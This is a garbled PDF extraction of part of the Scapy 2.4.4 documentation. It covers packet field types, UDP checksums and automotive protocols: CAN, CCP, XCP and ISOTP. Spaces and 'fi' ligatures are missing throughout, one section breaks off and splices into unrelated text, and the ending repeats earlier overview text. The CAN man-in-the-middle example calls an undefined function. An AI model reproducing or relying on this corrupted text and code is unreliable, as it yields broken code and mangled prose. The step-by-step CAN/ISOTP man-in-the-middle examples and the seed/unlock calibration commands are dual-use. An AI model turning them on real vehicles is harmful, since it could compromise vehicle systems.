show()###[Foo]###type=1len=4sep='\r\n'###[Bar1]###val=4919Our2problemshavebeensolvedwithoutusdoingmuch:sogoodtobelazy:)7.
4.
5Underthehood:puttingeverythingtogetherLastbutnotleast,itisveryusefultounderstandwheneachfunctioniscalledwhenapacketisbuilt:>>>hexdump(raw(p))Packet.
str=FooPacket.
iter=FooPacket.
iter=Bar1Packet.
build=FooPacket.
build=Bar1Packet.
post_build=Bar1Packet.
post_build=FooAsyoucansee,itrstrunsthroughthelistofeacheld,andthenbuildthemstartingfromthebeginning.
Oncealllayershavebeenbuilt,itthencallspost_build()startingfromtheend.
7.
5FieldsHere'salistofeldsthatScapysupportsoutofthebox:104Chapter7.
AddingnewprotocolsScapyDocumentation,Release2.
4.
4.
7.
5.
1SimpledatatypesLegend:X-hexadecimalrepresentationLE-littleendian(defaultisbigendian=networkbyteorder)Signed-signed(defaultisunsigned)ByteFieldXByteFieldShortFieldSignedShortFieldLEShortFieldXShortFieldX3BytesField#threebytesashexLEX3BytesField#littleendianthreebytesashexThreeBytesField#threebytesasdecimalLEThreeBytesField#littleendianthreebytesasdecimalIntFieldSignedIntFieldLEIntFieldLESignedIntFieldXIntFieldLongFieldSignedLongFieldLELongFieldLESignedLongFieldXLongFieldLELongFieldIEEEFloatFieldIEEEDoubleFieldBCDFloatField#binarycodeddecimalBitFieldXBitFieldBitFieldLenField#BitFieldspecifyingalength(usedinRTP)FlagsFieldFloatField7.
5.
Fields105ScapyDocumentation,Release2.
4.
4.
7.
5.
2EnumerationsPossibleeldvaluesaretakenfromagivenenumeration(list,dictionary,.
.
.
)e.
g.
:ByteEnumField("code",4,{1:"REQUEST",2:"RESPONSE",3:"SUCCESS",4:"FAILURE"}→)EnumField(name,default,enum,fmt="H")CharEnumFieldBitEnumFieldShortEnumFieldLEShortEnumFieldByteEnumFieldIntEnumFieldSignedIntEnumFieldLEIntEnumFieldXShortEnumField7.
5.
3StringsStrField(name,default,fmt="H",remain=0,shift=0)StrLenField(name,default,fld=None,length_from=None,shift=0):StrFixedLenFieldStrNullFieldStrStopField7.
5.
4ListsandlengthsFieldList(name,default,field,fld=None,shift=0,length_from=None,count_→from=None)#Alistassembledanddissectedwithmanytimesthesamefieldtype#field:instanceofthefieldthatwillbeusedtoassembleand→disassemblealistitem#length_from:nameoftheFieldLenFieldholdingthelistlengthFieldLenField#holdsthelistlengthofaFieldListfieldLEFieldLenFieldLenField#containslen(pkt.
payload)PacketField#holdspacketsPacketLenField#usede.
g.
inISAKMP_payload_ProposalPacketListField106Chapter7.
AddingnewprotocolsScapyDocumentation,Release2.
4.
4.
VariablelengtheldsThisisabouthoweldsthathaveavariablelengthcanbehandledwithScapy.
Theseeldsusuallyknowtheirlengthfromanothereld.
Let'scallthemvareldandleneld.
Theideaistomakeeacheldreferencetheothersothatwhenapacketisdissected,vareldcanknowitslengthfromleneldwhenapacketisassembled,youdon'thavetollleneld,thatwilldeduceitsvaluedirectlyfromvareldvalue.
Problemsarisewhenyourealizethattherelationbetweenleneldandvareldisnotalwaysstraightfor-ward.
Sometimes,leneldindicatesalengthinbytes,sometimesanumberofobjects.
Sometimesthelengthincludestheheaderpart,sothatyoumustsubtractthexedheaderlengthtodeducethevareldlength.
Sometimesthelengthisnotcountedinbytesbutin16bitswords.
Sometimesthesameleneldisusedbytwodifferentvarelds.
Sometimesthesamevareldisreferencedbytwolenelds,oneinbytesonein16bitswords.
ThelengtheldFirst,aleneldisdeclaredusingFieldLenField(oraderivate).
IfitsvalueisNonewhenassem-blingapacket,itsvaluewillbededucedfromthevareldthatwasreferenced.
Thereferenceisdoneusingeitherthelength_ofparameterorthecount_ofparameter.
Thecount_ofparameterhasameaningonlywhenvareldisaeldthatholdsalist(PacketListFieldorFieldListField).
Thevaluewillbethenameofthevareld,asastring.
Accordingtowhichparameterisusedthei2len()ori2count()methodwillbecalledonthevareldvalue.
Thereturnedvaluewillthebeadjustedbythefunctionprovidedintheadjustparameter.
adjustwillbeappliedto2arguments:thepacketinstanceandthevaluereturnedbyi2len()ori2count().
Bydefault,adjustdoesnothing:adjust=lambdapkt,x:xForinstance,ifthe_varfieldisalistFieldLenField("the_lenfield",None,count_of="the_varfield")orifthelengthisin16bitswords:FieldLenField("the_lenfield",None,length_of="the_varfield",→adjust=lambdapkt,x:(x+1)/2)ThevariablelengtheldAvareldcanbe:StrLenField,PacketLenField,PacketListField,FieldListField,.
.
.
Forthetworsts,whenapacketisbeingdissected,theirlengthsarededucedfromaleneldalreadydissected.
Thelinkisdoneusingthelength_fromparameter,whichtakesafunctionthat,appliedtothepartlydissectedpacket,returnsthelengthinbytestotakefortheeld.
Forinstance:StrLenField("the_varfield","the_default_value",length_from=lambdapkt:→pkt.
the_lenfield)orStrLenField("the_varfield","the_default_value",length_from=lambdapkt:→pkt.
the_lenfield-12)7.
5.
Fields107ScapyDocumentation,Release2.
4.
4.
ForthePacketListFieldandFieldListFieldandtheirderivatives,theyworkasabovewhentheyneedalength.
Iftheyneedanumberofelements,thelength_fromparametermustbeignoredandthecount_fromparametermustbeusedinstead.
Forinstance:FieldListField("the_varfield",["1.
2.
3.
4"],IPField("","0.
0.
0.
0"),count_→from=lambdapkt:pkt.
the_lenfield)ExamplesclassTestSLF(Packet):fields_desc=[FieldLenField("len",None,length_of="data"),StrLenField("data","",length_from=lambdapkt:pkt.
len)]classTestPLF(Packet):fields_desc=[FieldLenField("len",None,count_of="plist"),PacketListField("plist",None,IP,count_from=lambda→pkt:pkt.
len)]classTestFLF(Packet):fields_desc=[FieldLenField("the_lenfield",None,count_of="the_varfield"),FieldListField("the_varfield",["1.
2.
3.
4"],IPField("","0.
0.
0.
0"),count_from=lambdapkt:pkt.
the_lenfield)]classTestPkt(Packet):fields_desc=[ByteField("f1",65),ShortField("f2",0x4244)]defextract_padding(self,p):return"",pclassTestPLF2(Packet):fields_desc=[FieldLenField("len1",None,count_of="plist",fmt="H",→adjust=lambdapkt,x:x+2),FieldLenField("len2",None,length_of="plist",fmt="I",→adjust=lambdapkt,x:(x+1)/2),PacketListField("plist",None,TestPkt,length_→from=lambdax:(x.
len2*2)/3*3)]TesttheFieldListFieldclass:>>>TestFLF("\x00\x02ABCDEFGHIJKL")>7.
5.
5SpecialEmph#Wrappertoemphasizefieldwhenprinting,e.
g.
Emph(IPField("dst→","127.
0.
0.
1")),ActionFieldConditionalField(fld,cond)#Wrappertomakefield'fld'onlyappearif(continuesonnextpage)108Chapter7.
AddingnewprotocolsScapyDocumentation,Release2.
4.
4.
(continuedfrompreviouspage)#function'cond'evalstoTrue,e.
g.
#ConditionalField(XShortField("chksum",None),lambdapkt:pkt.
→chksumpresent==1)#Whenhidden,itwon'tbebuiltnordissectedandthestored→valuewillbe'None'PadField(fld,align,padwith=None)#Addbytesaftertheproxifiedfieldsothatitendsat#thespecifiedalignmentfromitsbeginningBitExtendedField(extension_bit)#Fieldwithavariablenumberofbytes.
Eachbyteismadeof:#-7bitsofdata#-1extensionbit:#*0meansthatitisthelastbyteofthefield("stoppingbit→")#*1meansthatthereisanotherbyteafterthisone(→"forwardingbit")#extension_bitisthebitnumber[0-7]oftheextensionbitinthe→byteMSBExtendedField,LSBExtendedField#SpecialcasesofBitExtendedField7.
5.
6TCP/IPIPFieldSourceIPFieldIPoptionsFieldTCPOptionsFieldMACFieldDestMACField(MACField)SourceMACField(MACField)ICMPTimeStampField7.
5.
Fields109ScapyDocumentation,Release2.
4.
4.
7.
5.
7802.
11Dot11AddrMACFieldDot11Addr2MACFieldDot11Addr3MACFieldDot11Addr4MACFieldDot11SCField7.
5.
8DNSDNSStrFieldDNSRRCountFieldDNSRRFieldDNSQRField7.
5.
9ASN.
1ASN1F_elementASN1F_fieldASN1F_INTEGERASN1F_enum_INTEGERASN1F_STRINGASN1F_OIDASN1F_SEQUENCEASN1F_SEQUENCE_OFASN1F_PACKETASN1F_CHOICE7.
5.
10OtherprotocolsNetBIOSNameField#NetBIOS(StrFixedLenField)ISAKMPTransformSetField#ISAKMP(StrLenField)TimeStampField#NTP(BitField)7.
6DesignpatternsSomepatternsaresimilartoalotofprotocolsandthuscanbedescribedthesamewayinScapy.
Thefollowingpartswillpresentseveralmodelsandconventionsthatcanbefollowedwhenimplement-inganewprotocol.
110Chapter7.
AddingnewprotocolsScapyDocumentation,Release2.
4.
4.
7.
6.
1FieldnamingconventionThegoalistokeepthewritingofpacketsuentandintuitive.
Thebasicinstructionsarethefollowing:Useinvertedcamelcaseandcommonabbreviations(e.
g.
len,src,dst,dstPort,srcIp).
Whereveritiseitherpossibleorrelevant,preferusingthenamesfromthespecications.
Thisaimstohelpnewcomerstoeasilyforgepackets.
7.
6.
2AddnewprotocolstoScapyNewprotocolscangoeitherinscapy/layersortoscapy/contrib.
Protocolsinscapy/layersshouldbeusuallyfoundoncommonnetworks,whileprotocolsinscapy/contribshouldbeuncommonorspecic.
Tobeprecise,scapy/layersprotocolsshouldnotbeimportingscapy/contribprotocols,whereasscapy/contribprotocolsmayimportbothscapy/contribandscapy/layerspro-tocols.
Scapyprovidesanexplore()function,tosearchthroughtheavailablelayer/contribmodules.
There-fore,modulescontributedbacktoScapymustprovideinformationaboutthem,knowingly:Acontribmodulemusthavedened,nearthetopofthemodule(belowthelicenseheaderisagoodplace)(withoutthebrackets)Example#scapy.
contrib.
description=[.
.
.
]#scapy.
contrib.
status=[.
.
.
]#scapy.
contrib.
nameoptional)Ifthecontribmoduledoesnotcontainanypackets,andshouldnotbeindexedinexplore(),thenyoushouldinsteadset:#scapy.
contrib.
status=skipAlayermodulemusthaveadocstring,inwhichtherstlineshortlydescribesthemodule.
7.
6.
Designpatterns111ScapyDocumentation,Release2.
4.
4.
112Chapter7.
AddingnewprotocolsCHAPTEREIGHTCALLINGSCAPYFUNCTIONSThissectionprovidessomeexamplesthatshowhowtobenetfromScapyfunctionsinyourowncode.
8.
1UDPchecksumThefollowingexampleexplainshowtousethechecksum()functiontocomputeandUDPchecksummanually.
Thefollowingstepsmustbeperformed:1.
computetheUDPpseudoheaderasdescribedinRFC7682.
buildaUDPpacketwithScapywithp[UDP].
chksum=03.
callchecksum()withthepseudoheaderandtheUDPpacketfromscapy.
allimport*#GettheUDPchecksumcomputedbyScapypacket=IP(dst="10.
11.
12.
13",src="10.
11.
12.
14")/UDP()/DNS()packet=IP(raw(packet))#Buildpacket(automaticallydonewhensending)checksum_scapy=packet[UDP].
chksum#SettheUDPchecksumto0andcomputethechecksum'manually'packet=IP(dst="10.
11.
12.
13",src="10.
11.
12.
14")/UDP(chksum=0)/DNS()packet_raw=raw(packet)udp_raw=packet_raw[20:]#in4_chksumisusedtoautomaticallybuildapseudo-headerchksum=in4_chksum(socket.
IPPROTO_UDP,packet[IP],udp_raw)#Formore→infos,call"help(in4_chksum)"assert(checksum_scapy==chksum)113ScapyDocumentation,Release2.
4.
4.
114Chapter8.
CallingScapyfunctionsCHAPTERNINEAUTOMOTIVE9.
1OverviewNote:AllautomotiverelatedfeaturesworkbestonLinuxsystems.
CANSocketsandISOTPSocketsinScapyarebasedonLinuxkernelmodules.
Thepython-canprojectisusedtosupportCANandCANSocketsonothersystems,besidesLinux.
ThisguideexplainsthehardwaresetuponaBeagleBoneBlack.
TheBeagleBoneBlackwaschosenbecauseofitstwoCANinterfacesonthemainprocessor.
ThepresenceoftwoCANinterfacesinonedevicegivesthepossibilityofCANMITMattacksandsessionhijacking.
TheCannelloniframeworkturnsasingleboardcomputerintoaCAN-to-UDPinterface,whichgivesyouthefreedomtorunScapyonamorepowerfulmachine.
9.
1.
1ProtocolsThefollowingtableshouldgiveabriefoverviewaboutallautomotivecapabilitiesofScapy.
Mostap-plicationlayerprotocolshavemanyspecializedPacketclasses.
Thesespecialpurposeclassesarenotpartofthisoverview.
Usetheexplore()functiontogetallinformationaboutonespecicprotocol.
OSILayerProto-colScapyImplementationsApplicationLayerUDS(ISO14229)UDS,UDS_*,UDS_TesterPresentSenderGM-LANGMLAN,GMLAN_*,GMLAN_TesterPresentSenderSOME/IPSOMEIP,SDBMWHSFZHSFZ,HSFZSocketOBDOBD,OBD_S0XCCPCCP,DTO,CROXCPXCPOnCAN,XCPOnUDP,XCPOnTCP,CTORequest,CTOResponse,DTOTrans-porta-tionLayerISO-TP(ISO15765-2)ISOTPSocket,ISOTPNativeSocket,ISOTPSoftSocketISOTPSniffer,ISOTPMessageBuilder,ISOTPSessionISOTPHeader,ISOTPHeaderEA,ISOTPScanISOTP,ISOTP_SF,ISOTP_FF,ISOTP_CF,ISOTP_FCDataLinkLayerCAN(ISO11898)CAN,CANSocket,rdcandump,CandumpReader115ScapyDocumentation,Release2.
4.
4.
9.
2CANLayer9.
2.
1How-ToSendandreceiveamessageoverLinuxSocketCAN:load_layer("can")load_contrib('cansocket')socket=CANSocket(channel='can0')packet=CAN(identifier=0x123,data=b'01020304')socket.
send(packet)rx_packet=socket.
recv()socket.
sr1(packet,timeout=1)SendamessageoveraVectorCAN-Interface:importcanload_layer("can")conf.
contribs['CANSocket']={'use-python-can':True}load_contrib('cansocket')fromcan.
interfaces.
vectorimportVectorBussocket=CANSocket(channel=VectorBus(0,bitrate=1000000))packet=CAN(identifier=0x123,data=b'01020304')socket.
send(packet)rx_packet=socket.
recv()socket.
sr1(packet)9.
2.
2TutorialsLinuxSocketCANThissubsectionsummarizessomebasicsaboutLinuxSocketCAN.
AnexcellentoverviewfromOliverHartkoppcanbefoundhere:https://wiki.
automotivelinux.
org/_media/agl-distro/agl2017-socketcan-print.
pdfVirtualCANSetupLinuxSocketCANsupportsvirtualCANinterfaces.
TheseinterfacesareaneasywaytodosomerststepsonaCAN-Buswithouttherequirementofspecialhardware.
Besidesthat,virtualCANinterfacesareheavilyusedinScapyunittestforautomotiverelatedcontributions.
VirtualCANsocketsrequireaspecialLinuxkernelmodule.
Thefollowingshellcommandloadstherequiredmodule:sudomodprobevcan116Chapter9.
AutomotiveScapyDocumentation,Release2.
4.
4.
InordertouseavirtualCANinterfacesomeadditionalcommandsforsetuparerequired.
Thissnippetchoosesthenamevcan0forthevirtualCANinterface.
Anynamecanbechosenhere:sudoiplinkaddnamevcan0typevcansudoiplinksetdevvcan0upThesamecommandscanbeexecutedfromScapylikethis:fromscapy.
layers.
canimport*importosbashCommand="/bin/bash-c'sudomodprobevcan;sudoiplinkaddname→vcan0typevcan;sudoiplinksetdevvcan0up'"os.
system(bashCommand)Ifit'srequired,aCANinterfacecanbesetintoalisten-onlyorloopbackmodewithiplinksetcommands:iplinksetvcan0typecanhelp#showsadditionalinformationLinuxcan-utilsAspartofLinuxSocketCAN,someveryusefulcommandlinetoolsareprovidedfromOliverHartkopp:https://github.
com/linux-can/can-utilsThefollowingexampleshowsbasicfunctionsofLinuxcan-utils.
Theseutilitiesareveryhandyforquickchecks,dumping,sendingorloggingofCANmessagesfromthecommandline.
CANFrameBasicinformationaboutCANcanbefoundhere:https://en.
wikipedia.
org/wiki/CAN_busThefollowingexamplesassumethatCANlayerinyourScapysessionisloaded.
Ifitisn't,theCANlayercanbeloadedwiththiscommandinyourScapysession:>>>load_layer("can")CreationofastandardCANframe:>>>frame=CAN(identifier=0x200,length=8,data=b'\x01\x02\x03\x04\x05\→x06\x07\x08')CreationofanextendedCANframe:frame=CAN(flags='extended',identifier=0x10010000,length=8,data=b'\x01\→x02\x03\x04\x05\x06\x07\x08')>>>frame.
show()###[CAN]###flags=extendedidentifier=0x10010000length=8reserved=0data='\x01\x02\x03\x04\x05\x06\x07\x08'9.
2.
CANLayer117ScapyDocumentation,Release2.
4.
4.
CANFramein-andexportCANFramescanbewrittentoandreadfrompcaples:x=CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08')wrpcap('/tmp/scapyPcapTest.
pcap',x,append=False)y=rdpcap('/tmp/scapyPcapTest.
pcap',1)AdditionallyCANFramescanbeimportedfromcandumpoutputandlogles.
TheCandumpReaderclasscanbeusedinthesamewayasasocketobject.
ThisallowsyoutousesniffandotherfunctionsfromScapy:withCandumpReader("candump.
log")assock:can_msgs=sniff(count=50,opened_socket=sock)ScapyCANSocketInScapy,twokindofCANSocketsareimplemented.
OneimplementationiscalledNativeCANSocket,theotherimplementationiscalledPython-canCANSocket.
SincePython3supportsPF_CANsockets,NativeCANSocketscanbeusedonaLinuxbasedsystemwithPython3orhigher.
Thesesocketshaveaperformanceadvantagebecauseselectiscallableonthem.
ThishasabigeffectinMITMscenarios.
Forcompatibilityreasons,Python-canCANSocketswereaddedtoScapy.
OnWindowsorOSXandonallsystemswithoutPython3,CANbusescanbeaccessedthroughpython-can.
python-canneedstobeinstalledonthesystem:https://github.
com/hardbyte/python-can/Python-canCANSocketsareawrapperofpython-caninterfaceobjectsforScapy.
BothCANSocketsprovidethesameAPIwhichmakesthemexchangeableundermostconditions.
NeverthelesssomeuniquebehavioursofeachCANSockettypehastoberespected.
SomeCAN-interfaces,likeVectorhardwareisonlysupportedonWindows.
TheseinterfacescanbeusedthroughPython-canCANSockets.
NativeCANSocketCreatingasimplenativeCANSocket:conf.
contribs['CANSocket']={'use-python-can':False}#(default)load_contrib('cansocket')#SimpleSocketsocket=CANSocket(channel="vcan0")CreatinganativeCANSocketonlylistenformessageswithId==0x200:socket=CANSocket(channel="vcan0",can_filters=[{'can_id':0x200,'can_→mask':0x7FF}])118Chapter9.
AutomotiveScapyDocumentation,Release2.
4.
4.
CreatinganativeCANSocketonlylistenformessageswithId>=0x200andIdaddnamevcan0typevcansudoiplinkaddnamevcan1typevcansudoiplinksetdevvcan0upsudoiplinksetdevvcan1upImportmodules:importthreadingload_contrib('cansocket')load_layer("can")Createcansocketsforattack:socket0=CANSocket(channel='vcan0')socket1=CANSocket(channel='vcan1')Createafunctiontosendpacketwiththreading:defsendPacket():sleep(0.
2)socket0.
send(CAN(flags='extended',identifier=0x10010000,length=8,→data=b'\x01\x02\x03\x04\x05\x06\x07\x08'))Createafunctionforforwardingorchangepackets:defforwarding(pkt):returnpktCreateafunctiontobridgeandsniffbetweentwosockets:defbridge():bSocket0=CANSocket(channel='vcan0')bSocket1=CANSocket(channel='vcan1')bridge_and_sniff(if1=bSocket0,if2=bSocket1,xfrm12=forwarding,→xfrm21=forwarding,timeout=1)bSocket0.
close()bSocket1.
close()Createthreadsforsendingpacketandtobridgeandsniff:threadBridge=threading.
Thread(target=bridge)threadSender=threading.
Thread(target=sendMessage)Startthethreads:threadBridge.
start()threadSender.
start()Sniffpackets:120Chapter9.
AutomotiveScapyDocumentation,Release2.
4.
4.
packets=socket1.
sniff(timeout=0.
3)Closethesockets:socket0.
close()socket1.
close()DBCFileFormatandCANSignalsInordertosupporttheDBCleformat,SignalFieldsandtheSignalPacketclasseswereaddedtoScapy.
SignalFieldsshouldonlybeusedinsideaSignalPacket.
Multiplexerelds(MUX)canbecreatedthroughConditionalFields.
Thefollowingexampledemonstratestheusage:DBCExample:BO_4muxTestFrame:7TEST_ECUSG_myMuxerM:53|3@1+(1,0)[0|0]""CCL_TESTSG_muxSig4m0:25|7@1-(1,0)[0|0]""CCL_TESTSG_muxSig3m0:16|9@1+(1,0)[0|0]""CCL_TESTSG_muxSig2m0:15|8@0-(1,0)[0|0]""CCL_TESTSG_muxSig1m0:0|8@1-(1,0)[0|0]""CCL_TESTSG_muxSig5m1:22|7@1-(0.
01,0)[0|0]""CCL_TESTSG_muxSig6m1:32|9@1+(2,10)[0|0]"mV"CCL_TESTSG_muxSig7m1:2|8@0-(0.
5,0)[0|0]""CCL_TESTSG_muxSig8m1:0|6@1-(10,0)[0|0]""CCL_TESTSG_muxSig9:40|8@1-(100,-5)[0|0]"V"CCL_TESTBO_3testFrameFloat:8TEST_ECUSG_floatSignal2:32|32@1-(1,0)[0|0]""CCL_TESTSG_floatSignal1:7|32@0-(1,0)[0|0]""CCL_TESTScapyimplementationofthisDBCdescription:classmuxTestFrame(SignalPacket):fields_desc=[LEUnsignedSignalField("myMuxer",default=0,start=53,size=3),ConditionalField(LESignedSignalField("muxSig4",default=0,→start=25,size=7),lambdap:p.
myMuxer==0),ConditionalField(LEUnsignedSignalField("muxSig3",default=0,→start=16,size=9),lambdap:p.
myMuxer==0),ConditionalField(BESignedSignalField("muxSig2",default=0,→start=15,size=8),lambdap:p.
myMuxer==0),ConditionalField(LESignedSignalField("muxSig1",default=0,start=0,→size=8),lambdap:p.
myMuxer==0),ConditionalField(LESignedSignalField("muxSig5",default=0,→start=22,size=7,scaling=0.
01),lambdap:p.
myMuxer==1),ConditionalField(LEUnsignedSignalField("muxSig6",default=0,→start=32,size=9,scaling=2,offset=10,unit="mV"),lambdap:p.
myMuxer→==1),ConditionalField(BESignedSignalField("muxSig7",default=0,start=2,→size=8,scaling=0.
5),lambdap:p.
myMuxer==1),(continuesonnextpage)9.
2.
CANLayer121ScapyDocumentation,Release2.
4.
4.
(continuedfrompreviouspage)ConditionalField(LESignedSignalField("muxSig8",default=0,start=3,→size=3,scaling=10),lambdap:p.
myMuxer==1),LESignedSignalField("muxSig9",default=0,start=41,size=7,→scaling=100,offset=-5,unit="V"),]classtestFrameFloat(SignalPacket):fields_desc=[LEFloatSignalField("floatSignal2",default=0,start=32),BEFloatSignalField("floatSignal1",default=0,start=7)]bind_layers(SignalHeader,muxTestFrame,identifier=0x123)bind_layers(SignalHeader,testFrameFloat,identifier=0x321)dbc_sock=CANSocket("can0",basecls=SignalHeader)pkt=SignalHeader()/testFrameFloat(floatSignal2=3.
4)dbc_sock.
send(pkt)ThisexampleusestheclassSignalHeaderasheader.
ThepayloadisspeciedbyindividualSignalPackets.
bind_layerscombinestheheaderwiththepayloaddependentontheCANidentier.
IfyouwanttodirectlyreceiveSignalPacketsfromyourCANSocket,providethepa-rameterbaseclstotheinitfunctionofyourCANSocket.
CanmatrixsupportsthecreationofScapylesfromDBCorAUTOSARXMLleshttps://github.
com/ebroecker/canmatrix9.
3CANCalibrationProtocol(CCP)CCPisderivedfromCAN.
TheCAN-headerispartofaCCPframe.
CCPhastwotypesofmessageobjects.
OneiscalledCommandReceiveObject(CRO),theotheriscalledDataTransmissionObject(DTO).
UsuallyCROsaresenttoanEcu,andDTOsarereceivedfromanEcu.
Theinformation,ifoneDTOanswersaCROisimplementedthroughacountereld(ctr).
Ifbothobjectshavethesamecountervalue,thepayloadofaDTOobjectcanbeinterpretedfromthecommandoftheassociatedCROobject.
CreatingaCROmessage:load_contrib('automotive.
ccp')CCP(identifier=0x700)/CRO(ctr=1)/CONNECT(station_address=0x02)CCP(identifier=0x711)/CRO(ctr=2)/GET_SEED(resource=2)CCP(identifier=0x711)/CRO(ctr=3)/UNLOCK(key=b"123456")Ifwearen'tinterestedintheDTOofanEcu,wecanjustsendaCROmessagelikethis:SendingaCROmessage:pkt=CCP(identifier=0x700)/CRO(ctr=1)/CONNECT(station_address=0x02)sock=CANSocket(bustype='socketcan',channel='vcan0')sock.
send(pkt)IfweareinterestedintheDTOofanEcu,weneedtosetthebaseclsparameteroftheCANSockettoCCPandweneedtousesr1:SendingaCROmessage:122Chapter9.
AutomotiveScapyDocumentation,Release2.
4.
4.
cro=CCP(identifier=0x700)/CRO(ctr=0x53)/PROGRAM_6(data=b"\x10\x11\x12\→x10\x11\x12")sock=CANSocket(bustype='socketcan',channel='vcan0',basecls=CCP)dto=sock.
sr1(cro)dto.
show()###[CANCalibrationProtocol]###flags=identifier=0x700length=8reserved=0###[DTO]###packet_id=0xffreturn_code=acknowledge/noerrorctr=83###[PROGRAM_6_DTO]###MTA0_extension=2MTA0_address=0x34002006Sincesr1callstheanswersfunction,ourpayloadoftheDTOobjectsgetsinterpretedwiththecommandofourCROobject.
9.
4Universalcalibrationandmeasurementprotocol(XCP)XCPisthesuccessorofCCP.
Itisusablewithseveralprotocols.
ScapyincludesCAN,UDPandTCP.
XCPhastwotypesofmessagetypes:CommandTransferObject(CTO)andDataTransmissionObject(DTO).
CTOssendtoanEcuarerequests(commands)andtheEcuhastoreplywithapositiveresponseoranerror.
Additionally,theEcucansendaCTOtoinformthemasteraboutanasynchronousevent(EV)orrequestaserviceexecution(SERV).
DTOssentbytheEcuarecalledDAQ(DataAcQuisition)andincludemeasuredvalues.
DTOsreceivedbytheEcuareusedforaperiodicstimulationandarecalledSTIM(Stimulation).
CreatingaCTOmessage:CTORequest()/Connect()CTORequest()/GetDaqResolutionInfo()CTORequest()/GetSeed(mode=0x01,resource=0x00)TosendthemessageoverCANaheaderhastobeaddedpkt=XCPOnCAN(identier=0x700)/CTORequest()/Connect()sock=CANSocket(iface=can.
interface.
Bus(bustype='socketcan',channel='vcan0'))sock.
send(pkt)IfweareinterestedintheresponseofanEcu,weneedtosetthebaseclsparameteroftheCANSockettoXCPonCANandweneedtousesr1:SendingaCTOmessage:sock=CANSocket(bustype='socketcan',channel='vcan0',basecls=XCPonCAN)dto=sock.
sr1(pkt)Sincesr1callstheanswersfunction,ourpayloadoftheXCP-responseobjectsgetsinterpretedwiththecommandofourCTOobject.
Otherwiseitcouldnotbeinterpreted.
Therstmessageshouldalwaysbethe"CONNECT"message,theresponseoftheEcudetermineshowthemessagesareread.
E.
g.
:byteorder.
Otherwise,onemustsettheaddressgranularity,andmaxsizeoftheDTOsandCTOsperhandinthecontribcong:9.
4.
Universalcalibrationandmeasurementprotocol(XCP)123ScapyDocumentation,Release2.
4.
4.
conf.
contribs['XCP']['Address_Granularity_Byte']=1#Canbe1,2or4conf.
contribs['XCP']['MAX_CTO']=8conf.
contribs['XCP']['MAX_DTO']=8Ifyoudonotwantthistobesetafterreceivingthemessageyoucanalsodisablethatfeature:conf.
contribs['XCP']['allow_byte_order_change']=Falseconf.
contribs['XCP']['allow_ag_change']=Falseconf.
contribs['XCP']['allow_cto_and_dto_change']=FalseTosendapktoverTCPorUDPanotherheadermustbeused.
TCP:prt1,prt2=12345,54321XCPOnTCP(sport=prt1,dport=prt2)/CTORequest()/Connect()UDP:XCPOnUDP(sport=prt1,dport=prt2)/CTORequest()/Connect()9.
5ISOTP9.
5.
1SystemcompatibilitiesDependentonyoursetup,differentimplementationshavetobeused.
PythonOSLinuxwithcan_isotpLinuxwocan_isotpWindows/OSXPython3ISOTPNativeSocketISOTPSoftSocketISOTPSoftSocketconf.
contribs['CANSocket']={'use-python-can':True}conf.
contribs['CANSocket']={'use-python-can':False}Python2ISOTPSoftSocketconf.
contribs['CANSocket']={'use-python-can':True}TheclassISOTPSocketcanbesettoaISOTPNativeSocketoraISOTPSoftSocket.
Thedecisionismadedependentonthecongurationconf.
contribs['ISOTP']={'use-can-isotp-kernel-module':True}(toselectISOTPNativeSocket)orconf.
contribs['ISOTP']={'use-can-isotp-kernel-module':False}(toselectISOTPSoftSocket).
Thiswillallowyoutowriteplatformindependentcode.
ApplythiscongurationbeforeloadingtheISOTPlayerwithload_contrib('isotp').
AnotherremarkinrespecttoISOTPSocketcompatibility.
Alwaysusewithforsocketcreation.
Example:withISOTPSocket("vcan0",did=0x241,sid=0x641)assock:sock.
send(.
.
.
)124Chapter9.
AutomotiveScapyDocumentation,Release2.
4.
4.
9.
5.
2ISOTPmessageCreatinganISOTPmessage:load_contrib('isotp')ISOTP(src=0x241,dst=0x641,data=b"\x3eabc")CreatinganISOTPmessagewithextendedaddressing:ISOTP(src=0x241,dst=0x641,exdst=0x41,data=b"\x3eabc")CreatinganISOTPmessagewithextendedaddressing:ISOTP(src=0x241,dst=0x641,exdst=0x41,exsrc=0x41,data=b"\x3eabc")CreateCAN-framesfromanISOTPmessage:ISOTP(src=0x241,dst=0x641,exdst=0x41,exsrc=0x55,data=b"\x3eabc"*10).
→fragment()SendISOTPmessageoverISOTPsocket:isoTpSocket=ISOTPSocket('vcan0',sid=0x241,did=0x641)isoTpMessage=ISOTP('Message')isoTpSocket.
send(isoTpMessage)SniffISOTPmessage:isoTpSocket=ISOTPSocket('vcan0',sid=0x641,did=0x241)packets=isoTpSocket.
sniff(timeout=0.
5)9.
5.
3ISOTPMITMattackwithbridgeandsniffSetuptwovcansonLinuxterminal:sudomodprobevcansudoiplinkaddnamevcan0typevcansudoiplinkaddnamevcan1typevcansudoiplinksetdevvcan0upsudoiplinksetdevvcan1upSetupISOTP:Firstmakesureyouinstalledaniso-tpkernelmodule.
Whenthevcancoremoduleisloadedwith"sudomodprobevcan"theiso-tpmodulecanbeloadedtothekernel.
Thereforenavigatetoisotpdirectory,andloadmodulewith"sudoinsmod.
/net/can/can-isotp.
ko".
(TestedonKernel4.
9.
135-1-MANJARO)Detailedinstructionsyoundinhttps://github.
com/hartkopp/can-isotp.
Importmodules:9.
5.
ISOTP125ScapyDocumentation,Release2.
4.
4.
importthreadingload_contrib('cansocket')conf.
contribs['ISOTP']={'use-can-isotp-kernel-module':True}load_contrib('isotp')CreatetoISOTPsocketsforattack:isoTpSocketVCan0=ISOTPSocket('vcan0',sid=0x241,did=0x641)isoTpSocketVCan1=ISOTPSocket('vcan1',sid=0x641,did=0x241)Createfunctiontosendpacketonvcan0withthreading:defsendPacketWithISOTPSocket():sleep(0.
2)packet=ISOTP('Request')isoTpSocketVCan0.
send(packet)Createfunctiontoforwardpacket:defforwarding(pkt):returnpktCreatefunctiontobridgeandsniffbetweentwobuses:defbridge():bSocket0=ISOTPSocket('vcan0',sid=0x641,did=0x241)bSocket1=ISOTPSocket('vcan1',sid=0x241,did=0x641)bridge_and_sniff(if1=bSocket0,if2=bSocket1,xfrm12=forwarding,→xfrm21=forwarding,timeout=1)bSocket0.
close()bSocket1.
close()Createthreadsforsendingpacketandtobridgeandsniff:threadBridge=threading.
Thread(target=bridge)threadSender=threading.
Thread(target=sendPacketWithISOTPSocket)StartthreadsarebasedonLinuxkernelmodules.
Thepython-canprojectisusedtosupportCANandCANSocketsonothersystems,besidesLinux.
